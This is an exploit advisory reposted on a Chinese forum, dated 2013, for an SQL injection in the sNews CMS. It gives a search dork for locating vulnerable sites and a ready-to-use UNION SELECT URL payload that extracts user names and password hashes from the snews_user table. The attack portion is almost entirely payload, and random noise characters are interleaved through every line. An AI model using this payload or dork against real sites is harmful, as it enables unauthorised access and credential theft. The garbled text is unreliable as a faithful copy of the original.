标题: CMS snews SQL Injection Vulnerability
( r6 ]& Z4 P* @, @/ ?作者: By onestree3 B) l( n0 V j0 }! V
下载地址 : http://snewscms.com/
# D9 @% o9 O: |2 j% b- Z3 G测试平台 : ubuntu 12.10 / win 71 x8 O4 L5 h" @% k
关键词: inurl:"tanyakan pada rumput yang bergoyang"4 _" q; `2 T! i0 s4 S6 H: M
: H, M: o, R- s; e ; g1 R, W& O* j q8 S+ P, Q* u' L1 @
*************************************************************
! g& k* y$ W9 a4 H; ?, ]9 r$ m , h0 t/ F4 \8 b2 ] `
SQL poc:- Z N: S" d2 D4 a
' |) p7 I" M( z; L4 M& h* F1 P. Q8 qhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
8 k9 O. U. ~3 Z$ {' @ 6 q) z. X# g/ d+ p& Y
示例- } D. [2 j9 c% g" G
" _. _& f- p1 b& @# D3 fhttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
" L8 N# u3 j" m" n8 X 2 P, v1 u6 q3 f5 y: t0 t
5 Y! Q3 u5 h: u/ \4 Z致谢:' W7 M! q3 {' K* ^: n' `$ {6 n7 c
7 ]5 l: K% S9 E1 \% l+ D
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell% o p2 K& x; z- |7 c, {0 [8 B! _
4 m" y0 J0 ` y1 U, F indonesiancoder - moeslimh4x0r - go-coder, H: L+ a# g$ G: x: @
0 g. ]0 U5 _/ w- @9 f2 zspesial my hunny :*
& J% B: g9 @. o# L6 o4 g |
发表于 2013-1-23 08:55:06
收藏
支持
反对